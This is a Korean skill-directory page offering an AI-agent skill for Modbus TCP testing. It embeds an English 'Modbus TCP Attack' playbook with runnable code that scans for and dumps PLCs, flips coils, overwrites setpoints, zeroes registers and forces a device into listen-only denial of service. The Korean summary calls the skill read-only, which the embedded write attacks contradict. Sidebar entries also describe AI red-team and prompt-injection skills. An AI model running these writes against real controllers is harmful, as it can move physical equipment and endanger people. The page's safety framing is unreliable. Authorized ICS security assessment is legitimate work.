ics-modbus
하는 일
이 안내서는 많은 산업 컨트롤러가 쓰는 단순한 프로토콜인 Modbus TCP의 보안 점검을 다룹니다. 서면 승인을 받은 산업 보안 팀을 위한 가이드입니다.
사용하는 경우
- ✓허가된 검토에서 네트워크의 Modbus 장비를 찾아야 할 때.
- ✓Modbus 장비가 인터넷에서 접근 가능한지 확인하고 싶을 때.
- ✓설정을 바꾸지 않고 제조사와 펌웨어 정보를 확인해야 하는 경우.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/modbus/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“읽기 전용 단계만 써서, 우리 Modbus 장비 중 네트워크 밖에서 접근할 수 있는 것이 있는지 확인해 주시겠어요?”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 표준 Modbus 포트를 스캔하고, 허용된 범위에서 장비 식별 정보를 읽고, 노출된 장비를 보고합니다. 어떤 값도 바꾸지 않습니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
Modbus TCP Attack
Modbus has no authentication and no transport encryption. Port 502 → full PLC control if reachable.
Discover
# Scan for port 502
nmap -p 502 --open -sV --script=modbus-discover.nse 10.0.0.0/24
# Or with Shodan / Censys: port:502 country:XX
# Internet-facing Modbus is still depressingly common (search "modbus" on Shodan)
Read everything
# Python pymodbus
python3 -c '
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient("10.0.0.5", port=502)
c.connect()
print("Coils 0-100:", c.read_coils(0, 100).bits)
print("Discrete 0-100:", c.read_discrete_inputs(0, 100).bits)
print("Hold regs:", c.read_holding_registers(0, 100).registers)
print("Input regs:", c.read_input_registers(0, 100).registers)
c.close()
'
# Or with mbtget (CLI)
mbtget -r1 -a 0 -n 100 10.0.0.5 # read coils
mbtget -r3 -a 0 -n 100 10.0.0.5 # read holding regs
# nmap script enum
nmap -p 502 --script=modbus-discover --script-args='modbus-discover.aggressive=true' 10.0.0.5
Identify the device (FC43 / MEI)
# Function code 43 (Read Device Identification) returns vendor / model / firmware
python3 -c '
from pymodbus.client import ModbusTcpClient
from pymodbus.mei_message import ReadDeviceInformationRequest
c = ModbusTcpClient("10.0.0.5", port=502)
c.connect()
r = c.execute(ReadDeviceInformationRequest(read_code=1))
print(r.information)
c.close()
'
# Output: {0: "Schneider Electric", 1: "BMX-P34-2020", 2: "v3.20", ...}
Write attacks
Single coil flip (DO output)
c.write_coil(address=10, value=True) # flip coil 10 ON
# In a PLC, coil 10 might be: motor start, valve open, breaker close
Tamper holding registers (process setpoints)
c.write_register(address=100, value=9999) # often a setpoint or limit
Flood diagnostic FC8 sub-function 4 ("Force Listen Only Mode")
# Stops the PLC from responding to ANY Modbus request — soft DoS
# Use raw socket:
import socket, struct
s = socket.socket()
s.connect(("10.0.0.5", 502))
mbap = struct.pack(">HHHB", 1, 0, 6, 1)
pdu = struct.pack(">BHH", 8, 0x0004, 0x0000)
s.send(mbap + pdu)
Bulk-write registers (often unauthenticated)
c.write_registers(address=0, values=[0]*100) # zero-out 100 registers
Common findings
| Finding | Impact |
|---|---|
| Modbus on internet | Full process control of whatever the PLC drives |
| No firewall between IT and OT VLAN | Lateral move from compromised desktop to PLC |
| Modbus over serial via TCP gateway (Moxa, Lantronix) | Same primitives over WAN |
| HMI uses default Modbus polling | Coil writes survive HMI refresh — persistent tamper |
| Unit ID 0 broadcast | Single packet reaches every slave (no response, but write succeeds) |
OPSEC + safety
- Real-world warning: writing to a coil/register on a live PLC may move a physical actuator. Confirm scope authorization for write-class testing IN WRITING before any FC5/6/15/16. Read-only is generally safe; writes can hurt people.
- Modbus has no audit log. Defenders use IDS (Nozomi, Claroty, Dragos) —
modbus_function_5andmodbus_function_15are distinctive in their telemetry. - Many PLCs lack rate limiting — connection floods can OOM the network stack and freeze the device for the duration of the attack.
References
- "Modbus Hacking" — Joel Langill (recurring S4 Conference talks)
- pymodbus docs — github.com/pymodbus-dev/pymodbus
- nmap NSE modbus-discover.nse
- IEC 62443 (defender baseline; useful for understanding what's in-scope)
자주 묻는 질문
Modbus에는 인증이 있나요?
아닙니다. 안내서는 Modbus에 인증도 전송 암호화도 없다고 설명합니다.
장비 식별이란 무엇인가요?
제조사, 모델, 펌웨어 세부 정보를 돌려주는 표준 요청입니다.
인터넷 노출이 왜 문제인가요?
노출된 Modbus 장비는 접근할 수 있는 누구나 제어할 수 있다고 안내서는 설명합니다.
상세 정보
작성자의 원본 설명
Modbus TCP attack — port 502 enumeration, coil/holding-register read/write without auth, function-code abuse (FC8 diagnostic, FC43 read-device-id), Modbus-over-Serial via TCP gateway, write-with-no-confirm DoS, value tampering against PLCs.
인기도
- GitHub 스타
- 6.5k
- 순위
- #14038
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.